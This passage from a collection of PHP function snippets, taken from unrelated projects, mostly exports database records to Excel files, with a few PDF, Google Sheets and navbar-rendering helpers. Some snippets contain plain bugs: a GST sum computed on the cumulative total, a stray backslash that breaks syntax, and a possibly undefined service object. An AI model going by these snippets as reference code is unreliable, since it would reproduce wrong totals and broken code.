$returnAmt = $this->Crud_model->GetData('purchase_returns','sum(return_amount) as return_amount',\"purchase_order_id='\".$result->id.\"'\",'','','','single');\n $total = $total - $returnAmt->return_amount;*/\n\n $this->excel->getActiveSheet()->setCellValue('A' . $a, $result->title);\n $this->excel->getActiveSheet()->setCellValue('B' . $a, $result->type);\n $this->excel->getActiveSheet()->setCellValue('C' . $a, $result->asset_name);\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $result->total_quantity);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($result->total_quantity * $result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('G' . $a, $result->gst_percent);\n $this->excel->getActiveSheet()->setCellValue('H' . $a, $result->hsn);\n $this->excel->getActiveSheet()->setCellValue('I' . $a, $result->markup_percent);\n //$this->excel->getActiveSheet()->setCellValue('G'.$a, $result->status);\n //$this->excel->getActiveSheet()->setCellValue('H'.$a, $total);\n $sr++;\n $a++;\n $qty += $result->total_quantity;\n $product_mrp += $result->product_mrp;\n $total += $result->total_quantity * $result->product_mrp;\n $totalGST += (($result->gst_percent / 100) * ($total));\n }\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $qty);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($total, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 1), \"Total GST Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 1), \"Rs. \" . number_format($totalGST, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 2), \"TFinal Total Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 2), \"Rs. \" . number_format($totalGST + $total, 2));\n\n $this->excel->getActiveSheet()->getStyle('B1')->getFont()->setSize(14);\n $this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('D5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('F5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('H5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('I5')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('H3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->mergeCells('A1:H1');\n $this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $filename = '' . $FileTitle . '.xls'; //save our workbook as this file name\n header('Content-Type: application/vnd.ms-excel'); //mime type\n header('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n header('Cache-Control: max-age=0'); //no cache\n ob_clean();\n\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n //if you want to save it as .XLSX Excel 2007 format\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n //force user to download the Excel file without writing it to server's HD\n $objWriter->save('php://output');\n }", "public function action_export_obic(){\n\t\t$objPHPExcel = new \\PHPExcel();\n\t\t//add header\n $header = [\n '会社NO', '伝票番号', '発生日', 'システム分類', 'サイト番号', '仕訳区分', '伝票区分', '事業所コード', '行番号', '借方総勘定科目コード',\n '借方補助科目コード', '借方補助内訳科目コード', '借方部門コード', '借方取引先コード', '借方税区分', '借方税込区分',\n '借方金額', '借方消費税額', '借方消費税本体科目コード', '借方分析コード1', '借方分析コード2', '借方分析コード3', '借方分析コード4', '借方分析コード5',\n '借方資金コード', '借方プロジェクトコード', '貸方総勘定科目コード', '貸方補助科目コード', '貸方補助内訳科目コード', '貸方部門コード',\n '貸方取引先コード', '貸方税区分', '貸方税込区分', '貸方金額', '貸方消費税額', '貸方消費税本体科目コード',\n '貸方分析コード1', '貸方分析コード2', '貸方分析コード3', '貸方分析コード4', '貸方分析コード5', '貸方資金コード',\n '貸方プロジェクトコード', '明細摘要', '伝票摘要', 'ユーザID', '借方事業所コード', '貸方事業所コード'\n ];\n\n $objPHPExcel->getProperties()->setCreator('VisionVietnam')\n ->setLastModifiedBy('Phong Phu')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('OBIC File');\n $last_column = null;\n $explicit = [7,8,10,11,12,13,15,16,27,28,29,30,32];\n\n foreach($header as $i=>$v){\n\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n\t\t\t$objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($column.'1')\n\t\t\t\t\t\t->applyFromArray([\n\t\t\t\t\t\t 'font' => [\n\t\t\t\t\t\t 'name' => 'Times New Roman',\n\t\t\t\t\t\t 'bold' => true,\n\t\t\t\t\t\t 'italic' => false,\n\t\t\t\t\t\t 'size' => 10,\n\t\t\t\t\t\t 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n\t\t\t\t\t\t ],\n\t\t\t\t\t\t 'alignment' => [\n\t\t\t\t\t\t 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n\t\t\t\t\t\t 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t 'wrap' => false\n\t\t\t\t\t\t ]\n\t\t\t\t\t\t]);\n switch($i+1){\n case 4:\n case 15:\n case 16:\n case 18:\n $width = 20;\n break;\n case 13:\n case 14:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 30:\n case 31:\n $width = 25;\n break;\n case 10:\n case 11:\n case 12:\n case 19:\n case 26:\n case 27:\n case 28:\n $width = 30;\n break;\n case 29:\n case 44:\n case 45:\n $width = 40;\n break;\n default:\n $width = 15;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n //decode params\n $param = \\Input::param();\n parse_str(base64_decode($param['p']), $params);\n //get form payment content\n $rows = $this->generate_content($params);\n $i = 0;\n foreach($rows as $row){\n\t\t\tforeach($row as $k=>$v){\n\t\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($k);\n\t\t\t\tif(in_array($k+1,$explicit)){\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValueExplicit($column.($i+2),$v,\\PHPExcel_Cell_DataType::TYPE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValue($column.($i+2),$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->getStartColor()->setRGB('5f5f5f');\n\n\t\t$objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\tob_end_clean();\n\n\t\theader(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"obic-'.date('Y-m-d').'.xls\"');\n $objWriter->save('php://output');\n\t\texit;\n }", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "function ReadExcelSheet($filename) {\n \n// if($fileExtension==='xls'){\n try{\n $excel = new PhpExcelReader; // creates object instance of the class\n $excel->read($filename); \n $excel_data = ''; // to store the the html tables with data of each sheet \n $excel_data .= '<h4> ' . ('') . ' <em>' . '' . '</em></h4>' . $this->AddDatatoDB($excel->sheets[0],$filename) . '<br/>';\n }\n catch(Exception $e ){\n print_r('Exception:::'.$e->getMessage());\n }\n// }\n// else {\n// //\"The file with extension \".$fileExtension.\" is still not allowed at the moment.\");\n// }\n }", "public function createExcel() {\n\n $this->objPHPExcel = new \\PHPExcel; // Make excel object, globally accessable\n\n $this->objWorksheet = $this->objPHPExcel->getActiveSheet(); // Make current sheet object, globally accessable\n $this->objWorksheet->setTitle($this->defaults['sheet1Name']);\n return $this->objPHPExcel;\n }", "function download(){\n\t/** Include PHPExcel */\n\trequire_once dirname(__FILE__) . '/Excel/PHPExcel.php';\n\t\n\t$objPHPExcel = new PHPExcel();\n\t\n\t// Set document properties\n\t$objPHPExcel->getProperties()->setCreator($_SESSION[\"userInfo\"][\"userName\"])\n\t\t\t\t\t\t\t\t->setLastModifiedBy($_SESSION[\"userInfo\"][\"userName\"])\n\t\t\t\t\t\t\t\t->setTitle(\"Smart Shop Inventory\")\n\t\t\t\t\t\t\t\t->setSubject(\"Smart Shop Inventory\")\n\t\t\t\t\t\t\t\t->setDescription(\"Inventory outputted from the Smart Shop database.\")\n\t\t\t\t\t\t\t\t->setKeywords(\"office PHPExcel php\")\n\t\t\t\t\t\t\t\t->setCategory(\"Inventory Data File\");\n\t\n\t//size the columns appropriately\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(5);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(18);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(10);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(20);\n\t\n\t//color the title row\n\t$objPHPExcel->getActiveSheet()\n\t\t->getStyle('A1:E1')\n\t\t->getFill()\n\t\t->setFillType(PHPExcel_Style_Fill::FILL_SOLID)\n\t\t->getStartColor()\n\t\t->setARGB('FF808080');\n\t\n\t//output the titles for the columns\n\t$objPHPExcel->setActiveSheetIndex(0)\n\t\t\t\t->setCellValue('A1', 'ID')\n\t\t\t\t->setCellValue('B1', 'Name')\n\t\t\t\t->setCellValue('C1', 'Quantity')\n\t\t\t\t->setCellValue('D1', 'Value')\n\t\t\t\t->setCellValue('E1', 'Last Updated');\n\t\n\t$items = getItems();\n\t$i = 2;\n\tforeach($items as $item){\n\t\t//populate the row with values\n\t\t$objPHPExcel->setActiveSheetIndex(0)\n\t\t\t\t->setCellValue('A'.$i, $item[\"Id\"])\n\t\t\t\t->setCellValue('B'.$i, $item[\"Name\"])\n\t\t\t\t->setCellValue('C'.$i, $item[\"Quantity\"])\n\t\t\t\t->setCellValue('D'.$i, $item[\"Value\"])\n\t\t\t\t->setCellValue('E'.$i, $item[\"Updated\"]);\n\t\t\n\t\t//Set the value cell format to currency\n\t\t$objPHPExcel->getActiveSheet()\n\t\t->getStyle('D'.$i)\n\t\t->getNumberFormat()\n\t\t->setFormatCode(\n\t\t\tPHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE\n\t\t);\n\t\n\t\t$i++;\n\t}\n\t\n\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t$objPHPExcel->setActiveSheetIndex(0);\n\t\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t$output = \"downloads/\" . date(\"Y-m-d_H-i\") . \"_Inventory.xlsx\";\n\t$objWriter->save($output);\n\t\n\treturn [\"success\" => true, \"message\" => $output];\n}", "protected function checkExcel(): void\n {\n if ('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' === $this->mimeType ||\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' === $this->mimeType ||\n 'application/vnd.ms-excel' === $this->mimeType ||\n 'xls' === $this->fileExtension ||\n 'xlsx' === $this->fileExtension\n ) {\n $this->iconClass = self::ICON_EXCEL;\n }\n }", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "public function index()\n {\n //\n $data=MExcel::orderBy('created_at','desc')->paginate(5);\n return view('admin.excelsheet.index',compact('data'));\n }", "function export_nik_unins_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_unins($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Non-Debet\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN NON-DEBET.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function exportToExcel(){\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); \n\t\theader(\"Content-Disposition: attachment; filename = DataNilaiMataKuliah.xls\"); \n\t\t$data['data_nilai'] = $this->Database_Nilai->ambil_data(); \n\t\t$this->load->view('export', $data);\n\t}", "function sheetSetUp(){\n $client = getClient();\n\n //running a check to see if the file exist on google drive or not\n if (!file_exists('info')){\n\n $service = new Google_Service_Sheets($client);\n\n } else{\n\n echo' Already exist! Please contact your Admin';\n }\n\n\n $spreadsheet = new Google_Service_Sheets_Spreadsheet();\n $name = new Google_Service_Sheets_SpreadsheetProperties();\n\n $title = 'Info';\n $name->setTitle($title);\n $spreadsheet->setProperties($name);\n\n\n\n $sheet = new Google_Service_Sheets_Sheet();\n $grid_data = new Google_Service_Sheets_GridData();\n\n $cells = [];\n\n //this is where the values are coming from\n $info_arr = getTables();\n\n //this works now from our database\n foreach($info_arr as $key => $datatables){\n foreach($datatables as $dt) {\n $row_data = new Google_Service_Sheets_RowData();\n $cell_data = new Google_Service_Sheets_CellData();\n $extend_value = new Google_Service_Sheets_ExtendedValue();\n\n\n $extend_value->setStringValue($dt);\n $cell_data->setUserEnteredValue($extend_value);\n array_push($cells, $cell_data);\n $row_data->setValues($cells);\n $grid_data->setRowData([$row_data]);\n $sheet->setData($grid_data);\n };\n };\n\n //sets the sheet with the info\n $spreadsheet->setSheets([$sheet]);\n //creates the spreadsheet with the info in it\n $service->spreadsheets->create($spreadsheet);\n\n}", "public function setHeader() {\n $dt = date('j M, Y');\n $name_header = '';\n $ao = new Application_Model_DbTable_AuditOwner();\n if ($this->usertype != '') {\n $name_header = \"&nbsp {$this->userfullname}\";\n }\n $complete_user = array('ADMIN','USER','APPROVER');\n $complete_audit = '';\n $audit_id = $this->audit['audit_id'];\n logit(\"audit: \" . print_r($this->audit, true));\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> With Selected Audit:</span></li>\nEND;\n\n # incomplete and owned audit OR not incomplete audit can be viewed\n if (($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) || $this->audit['status'] != 'INCOMPLETE') {\n $complete_audit .= <<<\"END\"\n<!li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/view\"><span title=\".icon .icon-color .icon-book \" class=\"icon icon-color icon-book\"></span> View Audit</a></li>\nEND;\n }\n # only incomplete and owned audit can be edited\n if ($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/edit/\"><span title=\".icon .icon-color .icon-edit \" class=\"icon icon-color icon-edit\"></span> Edit Audit</a></li>\nEND;\n }\n if (in_array($this->usertype, $complete_user)) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/exportdata\"><span title=\".icon .icon-color .icon-extlink \" class=\"icon icon-color icon-extlink\"></span> Export Audit Data</a></li>\nEND;\n if ($this->audit['owner']) {\n # $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/delete\"\n onclick=\" return confirm('Do you want to delete Selected Audit?');\">\n <span title=\".icon .icon-color .icon-trash \" class=\"icon icon-color icon-trash\"></span>\n Delete Audit</a></li>\nEND;\n }\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> Change Audit State:</span></li>\nEND;\n if ($this->audit['status'] == 'INCOMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/complete\">\n<span title=\".icon .icon-color .icon-locked \" class=\"icon icon-color icon-locked\"></span> Mark Audit Complete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/incomplete\">\n<span title=\".icon .icon-color .icon-unlocked \" class=\"icon icon-color icon-unlocked\"></span> Mark Audit Incomplete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $this->usertype == 'APPROVER') {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/finalize\"\nonclick=\" return confirm('Do you want to finalize Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-sent \" class=\"icon icon-color icon-sent\"></span> Mark Audit Finalized</a></li>\n<li><a href=\"{$this->baseurl}/audit/reject\"\n onclick=\" return confirm('Do you want to reject Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-cross \" class=\"icon icon-color icon-cross\"></span> Mark Audit Rejected</a></li>\nEND;\n }\n }\n $this->header = <<<\"END\"\n<div class=\"navbar\">\n <div class=\"navbar-inner\">\n <div class=\"container-fluid\">\n <a class=\"brand\" href=\"{$this->baseurl}{$this->mainpage}\">\n <span title=\".icon .icon-black .icon-check \" class=\"icon icon-black icon-check\"></span> <span>eChecklist</span>\n </a>\nEND;\n $newuser = '';\n if ($this->usertype != '') {\n if ($this->usertype == 'ADMIN') {\n $newuser = <<<\"END\"\n<li><a href=\"{$this->baseurl}/user/create\">\n<span title=\".icon .icon-green .icon-user \" class=\"icon icon-green icon-user\"></span> New User</a></li>\nEND;\n }\n\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-clipboard \" class=\"icon icon-blue icon-clipboard\"></span>\n <span class=\"hidden-phone\">Audit</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\nEND;\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/create\"><span title=\".icon .icon-green .icon-clipboard \" class=\"icon icon-green icon-clipboard\"></span> New Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/search\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Search for Audit</a></li>\n{$complete_audit}\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/runreports\"><span title=\".icon .icon-color .icon-newwin \" class=\"icon icon-color icon-newwin\"></span> Run Reports</a></li>\nEND;\n\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/import\"><span title=\".icon .icon-blue .icon-import \" class=\"icon icon-blue icon-archive\"></span> Import Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-tag \" class=\"icon icon-blue icon-tag\"></span>\n <span class=\"hidden-phone\">Lab</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/lab/create\"><span title=\".icon .icon-green .icon-tag \" class=\"icon icon-green icon-tag\"></span> New Lab</a></li>\n <li><a href=\"{$this->baseurl}/lab/select\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Select a Lab</a></li>\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/lab/edit\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Edit Selected Lab</a></li>\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-user \" class=\"icon icon-blue icon-user\"></span>\n<span class=\"hidden-phone\">User</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n {$newuser}\n <li><a href=\"{$this->baseurl}/user/find\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span>Find User</a></li>\n</ul>\n</div>\n\n<!--div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-flag \" class=\"icon icon-blue icon-flag\"></span>\n<span class=\"hidden-phone\">Language</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/language/switch/EN\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> English</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/FR\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> French</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/VI\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> 